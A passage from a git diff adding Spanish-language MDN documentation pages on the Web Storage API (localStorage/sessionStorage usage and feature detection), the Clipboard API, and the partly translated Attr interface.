+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Todos los navegadores tienen distintos niveles de capacidad tanto para localStorage como para sessionStorage. Aquí está una <a class="external external-icon" href="http://dev-test.nemikor.com/web-storage/support-test/" rel="noopener" title="http://dev-test.nemikor.com/web-storage/support-test/">análisis detallado de todas las capacidades de almacenamiento de diferentes navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Desde iOS 5.1, Safari Mobile almacena los datos de localStorage en la carpeta de caché, la cual está sujeta a limpiezas ocasionales, a petición del sistema operativo, típicamente cuando el espacio es reducido.</p>
+</div>
+
+<h2 id="Navegación_privada_Modo_incógnito">Navegación privada / Modo incógnito</h2>
+
+<p>La mayoría de los navegadores de hoy en día soportan una opción de privacidad llamada  'Modo incógnito', 'Navegación privada', o algo similar, que básicamente se asegura de que la sesión de navegación no deje rastros después de que el navegador se cierra. Esto es fundamentalmente incompatible con el almacenamiento web por obvias razones. Por ello, muchos navegadores están experimentando con diferentes escenarios para lidiar con esta incompatibilidad.</p>
+
+<p>La mayoría de los navegadores han optado por una estrategia donde las API de almacenamiento siguen disponibles y aparentemente completamente funcionales, con la única gran diferencia de que todos los datos almacenados son eliminados después de cerrar el navegador. Para estos navegadores aún hay diferentes interpretaciones sobre qué debería hacerse con los datos almacenados existentes (de una sesión de navegación normal). ¿Deberían de estar disponibles para lectura cuando esté en modo privado? Entonces, hay algunos navegadores, sobre todo Safari, que han optado por una solución donde el almacenamiento está disponible, pero vacío, y tiene un cupo de 0 bytes asignado, por lo que se vuelve imposible usar esta memoria para escribir datos.</p>
+
+<p>Los desarrolladores deberían de estar conscientes de estas diferentes implementaciones y tenerlas en cuenta a la hora de desarrollar aplicaciones web que depende de la API de almacenamiento web. Para más información, échale un vistazo a<a href="https://blog.whatwg.org/tag/localstorage"> esta entrada de blog WHATWG</a> que trata específicamente con este tema.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usando la API de almacenamiento web</a></li>
+</ul>
diff --git a/files/es/web/api/api_de_almacenamiento_web/usando_la_api_de_almacenamiento_web/index.html b/files/es/web/api/api_de_almacenamiento_web/usando_la_api_de_almacenamiento_web/index.html
new file mode 100644
index 0000000000..086af18610
--- /dev/null
+++ b/files/es/web/api/api_de_almacenamiento_web/usando_la_api_de_almacenamiento_web/index.html
@@ -0,0 +1,272 @@
+---
+title: Usando la API de almacenamiento web
+slug: Web/API/API_de_almacenamiento_web/Usando_la_API_de_almacenamiento_web
+tags:
+  - API
+  - API de almacenamiento web
+  - Guía
+  - localStorage
+  - sessionStorage
+translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+---
+<div>{{DefaultAPISidebar("Web Storage API")}}</div>
+
+<div class="summary">
+<p>La API de almacenamiento web proporciona los mecanismos mediante los cuales el navegador puede almacenar información de tipo clave/valor, de una forma mucho más intuitiva que utilizando cookies.</p>
+
+<p>Este artículo proporciona una guía general de cómo usar esta tecnología.</p>
+</div>
+
+<h2 id="Conceptos_básicos">Conceptos básicos</h2>
+
+<p>Los objetos de almacenamiento son simples almacenes de clave/valor, similares a objetos, pero que permanecen intactos cuando la página se recarga. Las claves y los valores siempre son cadenas de texto (fíjate que las claves con enteros se convierten automáticamente a cadenas, tal y como lo hacen los objetos). Puedes acceder a estos valores como un objeto, o con los métodos {{domxref("Storage.getItem()")}} y {{domxref("Storage.setItem()")}}. Estas tres líneas modifican el valor de colorSetting de la misma manera:</p>
+
+<pre class="brush: js notranslate" style="white-space: pre;">localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Se recomiendo usar la API de almacenamiento web (<code>setItem</code>, <code>getItem</code>, <code>removeItem</code>, <code>key</code>, <code>length</code>) para prevenir las dificultades asociadas al uso de simples objetos como almacenes de valores llave/valor.</p>
+</div>
+
+<p>Los dos mecanismos en el almacenamiento web son los siguientes:</p>
+
+<ul>
+ <li><strong><code>sessionStorage</code> </strong>mantiene un área de almacenamiento separada para cada origen que está disponible mientras dure la sesión de la página (mientras el navegador esté abierto, incluyendo recargas de página y restablecimientos).</li>
+ <li><strong><code>localStorage</code> </strong>hace lo mismo, pero persiste incluso cuando el navegador se cierre y se reabra.</li>
+</ul>
+
+<p>Estos mecanismos están disponibles mediante las propiedades <a href="https://developer.mozilla.org/es/docs/Web/API/Window/sessionStorage" title="La propiedad sessionStorage permite acceder a un objeto Storage asociado a la sesión actual. La propiedad sessionStorage es similar a localStorage, la única diferencia es que la información almacenada en localStorage no posee tiempo de expiración, por el contrario la información almacenada en sessionStorage es eliminada al finalizar la sesion de la página. La sesión de la página perdura mientras el navegador se encuentra abierto, y se mantiene por sobre las recargas y reaperturas de la página. Abrir una página en una nueva pestaña o ventana iniciará una nueva sesión, lo que difiere en la forma en que trabajan las cookies de sesión."><code>Window.sessionStorage</code></a> y  <a href="https://developer.mozilla.org/es/docs/Web/API/Window/localStorage" title="La propiedad localStorage te permite acceder al objeto local Storage. localStorage es similar a sessionStorage. La única diferencia es que, mientras los datos almacenados en localStorage no tienen fecha de expiración, los datos almacenados en sessionStorage son eliminados cuando finaliza la sesion de navegación - lo cual ocurre cuando se cierra el navegador."><code>Window.localStorage</code></a> (dicho con más precisión, en navegadores con soporte, el objeto <code>Window</code> implementa los objetos  <code>WindowLocalStorage</code> y <code>WindowSessionStorage</code>, en los cuales se basan las propiedades <code>localStorage</code> y <code>sessionStorage</code>). Al invocar uno de éstos, se creará una instancia del objeto <a href="https://developer.mozilla.org/es/docs/Web/API/Storage" title="La interfaz Storage de la API de almacenamiento web provee acceso al almacenamiento de la sesión o al almacenamiento local para un dominio en particular, permitiéndote por ejemplo añadir, modificar o eliminar elementos de dato almacenados."><code>Storage</code></a>, a través del cual los datos pueden ser creados, recuperados y eliminados. sessionStorage y localStorage utilizan un objeto de almacenamiento diferente según su origen — funcionan y son controlados por separado.</p>
+
+<p>Así que, por ejemplo, si en un inicio se llama a <code>localStorage</code> en un documento, esto devolverá un objeto {{domxref("Storage")}}; llamar a <code>sessionStorage</code> en un documento devolverá un objeto {{domxref("Storage")}} diferente. Ambos objetos se pueden manipular de la misma forma, pero separados.</p>
+
+<h2 id="Detectar_la_característica_localStorage">Detectar la característica localStorage</h2>
+
+<p>Para poder usar localStorage, debemos de verificar que tiene soporte y que está disponible en la sesión del buscador actual.</p>
+
+<h3 id="Probar_la_disponibilidad">Probar la disponibilidad</h3>
+
+<div class="blockIndicator note">
+<p>Nota: esta API está disponible en las versiones actuales de todos los navegadores principales. La prueba de disponibilidad es necesaria sólo si debes soportar navegadores muy antiguos, como Internet Explorer 6 o 7, o en las circunstancias limitadas descritas más abajo.</p>
+</div>
+
+<p>Los buscadores que soportan localStorage tienen una propiedad en el objeto window que se llama localStorage. Sin embargo, por varias razones, el sólo asegurarse de que la propiedad existe puede arrojar excepciones. El que localStorage exista no es garantía suficiente de que en verdad esté disponible, puesto que varios buscadores ofrecen configuraciones que lo inhabilitan. Así que un buscador puede <em>soportar </em>localStorage, pero puede no hacerlo <em>disponible </em>para los scripts en la página. Un ejemplo de esto es Safari, que en el modo de búsqueda privada ofrece un objeto localStorage vacío con un cupo de 0, por lo que es inutilizable. Sin embargo, es posible que aún así obtengamos un QuotaExceededError legítimo, lo que significa que ya usamos todo el espacio de almacenamiento disponible, aunque el almacenamiento esté, de hecho, <em>disponible</em>. Nuestra detección de la característica debe de tomar en cuenta estos escenarios.</p>
+
+<p>Esta función detecta si localStorage tiene soporte y está disponible:</p>
+
+<pre class="brush: js notranslate">function storageAvailable(type) {
+    try {
+        var storage = window[type],
+            x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException &amp;&amp; (
+            // everything except Firefox
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||
+            // test name field too, because code might not be present
+            // everything except Firefox
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &amp;&amp;
+            // acknowledge QuotaExceededError only if there's something already stored
+            storage.length !== 0;
+    }
+}</pre>
+
+<p>Y aquí se muestra cómo usarla:</p>
+
+<pre class="brush: js notranslate">if (storageAvailable('localStorage')) {
+  // Yippee! We can use localStorage awesomeness
+}
+else {
+  // Too bad, no localStorage for us
+}</pre>
+
+<p>También puedes probar sessionStorage invocando <code>storageAvailable('sessionStorage')</code>.</p>
+
+<p>Aquí puedes ver una <a href="https://gist.github.com/paulirish/5558557">breve historia de la detección de la característica localStorage</a>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Para ilustrar un uso típico de almacenamiento web, creamos un ejemplo simple que llamamos <strong>Demo de almacenamiento web</strong>. La <a href="https://mdn.github.io/dom-examples/web-storage/">página de inicio</a> proporciona unos controles que se pueden usar para personalizar el color, la tipografía y la imagen decorativa:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Cuando seleccionas una opción diferente, la página se actualiza instantáneamente; además, tus opciones se almacenan en <code>localStorage</code>, de forma que si abandonas la página y la vuelves a cargar, tus opciones son recordadas.</p>
+
+<p>También creamos una <a href="https://mdn.github.io/dom-examples/web-storage/event.html">página de salida del evento</a> — si cargas esta página en otra pestaña y luego haces cambios a tus opciones en la página de inicio, verás que se muestra la información almacenada actualizada puesto que se dispara un {{domxref("StorageEvent")}}.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes ver las páginas de ejemplo usando los links de arriba y también puedes <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">ver el código fuente.</a></p>
+</div>
+
+<h3 id="Probar_si_la_memoria_tiene_valores">Probar si la memoria tiene valores</h3>
+
+<p>En el inicio de <a href="https://github.com/mdn/dom-examples/blob/master/web-storage/main.js">main.js</a>, probamos si el objeto ya tiene valores (es decir, si la página ya fue visitada):</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}</pre>
+
+<p>El método {{domxref("Storage.getItem()")}} se usa para obtener un dato de la memoria; en este caso, estamos probando si el dato <code>bgcolor</code> existe; si no, corremos <code>populateStorage()</code> para añadir los valores personalizados actuales a la memoria. Si ya hay valores guardados, corremos <code>setStyles()</code> para actualizar el estilo de la página con los valores almacenados.</p>
+
+<p><strong>Nota</strong>: También puedes usar {{domxref("Storage.length")}} para probar si el objeto de almacenamiento está vació o no.</p>
+
+<h3 id="Obtener_valores_de_la_memoria">Obtener valores de la memoria</h3>
+
+<p>Como dijimos arriba, los valores se pueden recuperar de la memoria usando {{domxref("Storage.getItem()")}}. Este método usa la llave del dato como argumento y devuelve el valor. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<p>Aquí, en las primeras tres líneas tomamos los valores del almacenamiento local. Después, fijamos los valores mostrados en los elementos del formulario a esos valores, de forma que se mantengan sincronizados cuando recargues la página. Finalmente, actualizamos los estilos y la imagen decorativa en la página para que tus opciones personalizadas vuelvan a aparecer al recargar.</p>
+
+<h3 id="Guardar_valores_en_la_memoria">Guardar valores en la memoria</h3>
+
+<p>{{domxref("Storage.setItem()")}} se usa tanto para crear nuevos datos como para actualizar valores existentes (si el dato ya existía). Este método recibe dos argumentos: la llave del dato que se va a crear/modificar y el valor que se va a guardar.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}</pre>
+
+<p>La función <code>populateStorage()</code> define tres elementos en el almacenamiento local — el color de fondo, la tipografía y la ruta de almacenamiento de la imagen. Luego corre la función <code>setStyles()</code> para actualizar el estilo de la página, etc.</p>
+
+<p>También incluimos un manejador <code>onchange</code> para cada elemento del formulario, de manera que los datos y los estilos son actualizados cada vez que un valor del formulario cambia:</p>
+
+<pre class="brush: js notranslate">bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;</pre>
+
+<h3 id="Responder_a_cambios_en_la_memoria_con_el_evento_StorageEvent">Responder a cambios en la memoria con el evento StorageEvent</h3>
+
+<p>El evento {{domxref("StorageEvent")}} se dispara siempre que se hace un cambio al objeto {{domxref("Storage")}} (nota que este evento no se dispara para cambios en sessionStorage). Este evento no va a trabajar en la misma página en la que se están haciendo los cambios, sino que es una manera para que las otras páginas del dominio que usan la memoria sincronicen los cambios que se están haciendo. Las páginas en otros dominios no pueden acceder a los mismos objetos de almacenamiento.</p>
+
+<p>En la página de eventos (ver <a href="https://github.com/mdn/dom-examples/blob/master/web-storage/event.js">events.js</a>) el único JavaScript es el siguiente:</p>
+
+<pre class="brush: js notranslate">window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = JSON.stringify(e.storageArea);
+});</pre>
+
+<p>Aquí añadimos un detector de evento al objeto <code>window</code> que se dispara cuando el objeto {{domxref("Storage")}} asociado con el origen actual cambia. Como puedes ver arriba, el objeto asociado a este evento tiene varias propiedades que contienen información útil — la llave del dato que cambió, el valor anterior al cambio, el nuevo valor tras el cambio, la URL del documento que cambió la memoria y el objeto de almacenamiento mismo (que volvimos una cadena para que pudieras ver su contenido).</p>
+
+<h3 id="Borrar_registros">Borrar registros</h3>
+
+<p>El almacenamiento web también provee un par de métodos simples para remover datos. No los usamos en nuestro demo, pero se pueden añadir de manera muy simple a tu proyecto:</p>
+
+<ul>
+ <li>{{domxref("Storage.removeItem()")}} recibe un solo argumento — la llave del dato que quieres eliminar — y lo remueve del objeto de almacenamiento de ese dominio.</li>
+ <li>{{domxref("Storage.clear()")}} no recibe argumentos; vacía todo el objeto de almacenamiento de ese dominio.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Todos los navegadores tienen distintos niveles de capacidad tanto para localStorage como para sessionStorage. Aquí está una <a class="external external-icon" href="http://dev-test.nemikor.com/web-storage/support-test/" rel="noopener" title="http://dev-test.nemikor.com/web-storage/support-test/">análisis detallado de todas las capacidades de almacenamiento de diferentes navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Desde iOS 5.1, Safari Mobile almacena los datos de localStorage en la carpeta de caché, la cual está sujeta a limpiezas ocasionales, a petición del sistema operativo, típicamente cuando el espacio es reducido.</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Página de inicio de la API de almacenamiento web</a></li>
+</ul>
diff --git a/files/es/web/api/api_del_portapapeles/index.html b/files/es/web/api/api_del_portapapeles/index.html
new file mode 100644
index 0000000000..53e43f6bd5
--- /dev/null
+++ b/files/es/web/api/api_del_portapapeles/index.html
@@ -0,0 +1,76 @@
+---
+title: API del portapapeles
+slug: Web/API/API_del_portapapeles
+translation_of: Web/API/Clipboard_API
+---
+<div>{{DefaultAPISidebar("Clipboard API")}}</div>
+
+<p>La <strong>API del portapapeles </strong>permite acceder los comandos del portapapeles (cortar, copiar y pegar), así como leer y escribir de manera asíncrona el portapapeles del sistema. Acceder al contenido del portapapeles está sujeta a la <a href="/es/docs/Web/API/Permissions_API">API de permisos</a>: El permiso <code>clipboard-write</code> es concedido automáticamente a las páginas cuando están en la pestaña activa. El permiso <code>clipboard-read</code> debe ser solicitado, lo que se puede hacer intentando leer directamente el portapapeles.</p>
+
+<p>Esta API está diseñada para reemplazar el acceso al portapapeles usando {{domxref("document.execCommand()")}}.</p>
+
+<h2 id="Accediendo_al_portapapeles">Accediendo al portapapeles</h2>
+
+<p>En vez de instanciar un objeto <code>Clipboard</code>, se puede acceder al portapapeles del sistema a través de la variable global {{domxref("Navigator.clipboard")}}:</p>
+
+<pre class="brush: js notranslate">navigator.clipboard.readText().then(
+  clipText =&gt; document.querySelector(".editor").innerText += clipText);</pre>
+
+<p>Esta pieza de código lee el texto que hay en el portapapeles y lo añade al primer elemento que tenga la clase <code>editor</code>. Desde que {{domxref("Clipboard.readText", "readText()")}} (y también {{domxref("Clipboard.read", "read()")}}, de hecho) devuelve una cadena de texto vacía si el contenido del portapapeles no es texto, este código es seguro.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Clipboard")}} {{securecontext_inline}}</dt>
+ <dd>Proporciona una interfaz para leer y escribir texto y datos. La especificación se refiere a esto como 'Async Clipboard API.'</dd>
+ <dt>{{domxref("ClipboardEvent")}} {{securecontext_inline}}</dt>
+ <dd>Representa la información del evento que se ha disparado. Los eventos que se pueden disparar son: {{domxref("Element/cut_event", "cortar")}}, {{domxref("Element/copy_event", "copiar")}}, y {{domxref("Element/paste_event", "pegar")}}. La especificación se refiere a esto como 'Clipboard Event API'.</dd>
+ <dt>{{domxref("ClipboardItem")}} {{securecontext_inline}}</dt>
+ <dd>Representa uno de los objetos del portapapeles, usado en la lectura y escritura de datos.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Definición primitiva.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<h3 id="Clipboard">Clipboard</h3>
+
+<div>
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h3 id="ClipboardEvent">ClipboardEvent</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h3 id="ClipboardItem">ClipboardItem</h3>
+
+
+
+<p>{{Compat("api.ClipboardItem")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/Permissions">Permissions API</a></li>
+ <li><a href="/es/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
+</ul>
+</div>
diff --git a/files/es/web/api/attr/index.html b/files/es/web/api/attr/index.html
new file mode 100644
index 0000000000..2e73f60c55
--- /dev/null
+++ b/files/es/web/api/attr/index.html
@@ -0,0 +1,194 @@
+---
+title: Attr
+slug: Web/API/Attr
+translation_of: Web/API/Attr
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Este tipo representa un atributo de un elemento DOM como un objeto. En muchos métodos DOM, probablemente vas a obtener el atributo como una cadena (e.g., {{domxref("Element.getAttribute()")}}, pero algunas funciones (e.g., {{domxref("Element.getAttributeNode()")}}) or means of iterating give <code>Attr</code> types.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<div class="warning"><strong>Advertencia:En el DOM Core 1, 2 y 3</strong>, <code>Attr</code> se hereda del {{domxref("Node")}}. Este ya no es el caso en <a class="external" href="https://www.w3.org/TR/dom/">DOM4</a>.Para llevar la implementación de Attr  a la especifiación, se esta trabajando para cambiarlo y dejar de heredar de{{domxref("Node")}}. No debe de utilizar ninguna propiedad o método de nodo en los objetos <code>Attr</code>. <span class="tlid-translation translation" lang="es"><span title="">A partir de Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4), los que se eliminarán enviarán mensajes de advertencia a la consola</span></span>. <span class="tlid-translation translation" lang="es"><span title="">Debe revisar su código en consecuencia.</span> <span title="">Consulte Propiedades y métodos en desuso para obtener una lista completa.</span></span></div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt>
+ <dd>El nombre del atributo.</dd>
+ <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} representing the namespace URI of the attribute, or <code>null</code> if there is no namespace.</dd>
+ <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the local part of the qualified name of the attribute.</dd>
+ <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the namespace prefix of the attribute, or <code>null</code> if no prefix is specified.</dd>
+ <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt>
+ <dd>This property always returns <code>true</code>. Originally, it returned <code>true </code>if the attribute was explicitly specified in the source code or by a script, and <code>false</code> if its value came from the default one defined in the document's <acronym title="Document Type Definition">DTD</acronym>.</dd>
+ <dt>{{domxref("Attr.value", "value")}}</dt>
+ <dd>El valor del atributo.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Level 3 defined <code>namespaceURI</code>, <code>localName</code> and <code>prefix</code> on the {{domxref("Node")}} interface. In DOM4 they were moved to <code>Attr</code>.</p>
+
+<p>This change is implemented in Chrome since version 46.0 and Firefox since version 48.0.</p>
+</div>
+
+<h2 id="Propiedades_y_métodos_obsoletos">Propiedades y métodos obsoletos</h2>
+
+<p>Las siguientes propiedades son obsoletos. Where available, the appropriate replacement is provided.</p>
+
+<dl>
+ <dt><code>attributes</code></dt>
+ <dd>Este propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>childNodes</code></dt>
+ <dd>Este propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>firstChild</code></dt>
+ <dd>Este propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>isId</code> {{readOnlyInline}}</dt>
+ <dd>Indicates whether the attribute is an "ID attribute". An "ID attribute" being an attribute which value is expected to be unique across a DOM Document. In HTML DOM, "id" is the only ID attribute, but XML documents could define others. Whether or not an attribute is unique is often determined by a {{Glossary("DTD")}} or other schema description.</dd>
+ <dt><code>lastChild</code></dt>
+ <dd>Este propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>nextSibling</code></dt>
+ <dd>Este propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>nodeName</code></dt>
+ <dd>Utilizar {{domxref("Attr.name")}} en su lugar.</dd>
+ <dt><code>nodeType</code></dt>
+ <dd>Esta propiedad ahora siempre devuelve 2 (<code>ATTRIBUTE_NODE</code>).</dd>
+ <dt><code>nodeValue</code></dt>
+ <dd>Utilizar {{domxref("Attr.value")}} en su lugar.</dd>
+ <dt><code>ownerDocument</code></dt>
+ <dd>Seguramente nunca usaste esta propiedad asi que no deberias preocuparte si esque ya no está disponible.</dd>
+ <dt><code>ownerElement</code> {{deprecated_inline("7.0")}} {{obsolete_inline("29.0")}} {{readOnlyInline}}</dt>
+ <dd>Since you get an <code>Attr</code> object from an {{domxref("Element")}}, you should already know the associated element.</dd>
+ <dd>Contrary to above claim, {{domxref("Document.evaluate")}} can return <code>Attr</code> objects from an XPath, in which case you would not easily know the owner.</dd>
+ <dt><code>parentNode</code></dt>
+ <dd>Estra propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>previousSibling</code></dt>
+ <dd>Estra propiedad ahora siempre devuelve <code>NULL</code>.</dd>
+ <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt>
+ <dd>The type information associated with this attribute. While the type information contained in this attribute is guaranteed to be correct after loading the document or invoking {{domxref("Document.normalizeDocument")}}, this property may not be reliable if the node was moved.</dd>
+ <dt><code>specified</code></dt>
+ <dd>Estra propiedad ahora siempre devuelve <code>true</code>.</dd>
+ <dt><code>textContent</code></dt>
+ <dd>Utilizar {{domxref("Attr.value")}} en su lugar.</dd>
+</dl>
+
+<p>Los siguientes metodos ahora son obsoletos.</p>
+
+<dl>
+ <dt><code>appendChild()</code></dt>
+ <dd>Modify the value of {{domxref("Attr.value")}} instead.</dd>
+ <dt><code>cloneNode()</code></dt>
+ <dd>Seguramente nunca usaste esta propiedad asi que no deberias preocuparte si esque ya no está disponible.</dd>
+ <dt><code>createAttribute()</code></dt>
+ <dd>Use {{domxref("Element.setAttribute()")}} instead.</dd>
+ <dt><code>createAttributeNS()</code></dt>
+ <dd>Use {{domxref("Element.setAttributeNS()")}} instead.</dd>
+ <dt><code>getAttributeNode()</code></dt>
+ <dd>Use {{domxref("Element.getAttribute()")}} instead.</dd>
+ <dt><code>getAttributeNodeNS()</code></dt>
+ <dd>Use {{domxref("Element.getAttributeNS()")}} instead.</dd>
+ <dt><code>hasAttributes() </code>{{obsolete_inline("21.0")}}</dt>
+ <dd>Estra propiedad ahora retorna false.</dd>
+ <dt><code>hasChildNodes()</code></dt>
+ <dd>Estra propiedad ahora devuelve <code>false</code>.</dd>
+ <dt><code>insertBefore()</code></dt>
+ <dd>Modify the value of {{domxref("Attr.value")}} instead.</dd>
+ <dt><code>isSupported()</code></dt>
+ <dd>Seguramente nunca usaste esta propiedad asi que no deberias preocuparte si esque ya no está disponible.</dd>
+ <dt><code>isEqualNode()</code></dt>
+ <dd>Seguramente nunca usaste esta propiedad asi que no deberias preocuparte si esque ya no está disponible.</dd>
+ <dt><code>normalize()</code></dt>
+ <dd>Seguramente nunca usaste esta propiedad asi que no deberias preocuparte si esque ya no está disponible.</dd>
+ <dt><code>removeAttributeNode()</code></dt>
+ <dd>Use {{domxref("Element.removeAttribute()")}} instead.</dd>
+ <dt><code>removeChild()</code></dt>
+ <dd>Modify the value of {{domxref("Attr.value")}} instead.</dd>
+ <dt><code>replaceChild()</code></dt>
+ <dd>Modify the value of {{domxref("Attr.value")}} instead.</dd>
+ <dt><code>setAttributeNode()</code></dt>
+ <dd>Use {{domxref("Element.setAttribute()")}} instead.</dd>
+ <dt><code>setAttributeNodeNS()</code></dt>
+ <dd>Use {{domxref("Element.setAttributeNS()")}} instead.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Moved <code>namespaceURI</code>, <code>prefix</code> and <code>localName</code> from {{domxref("Node")}} to this API and removed <code>ownerElement</code>, <code>schemaTypeInfo</code> and <code>isId</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
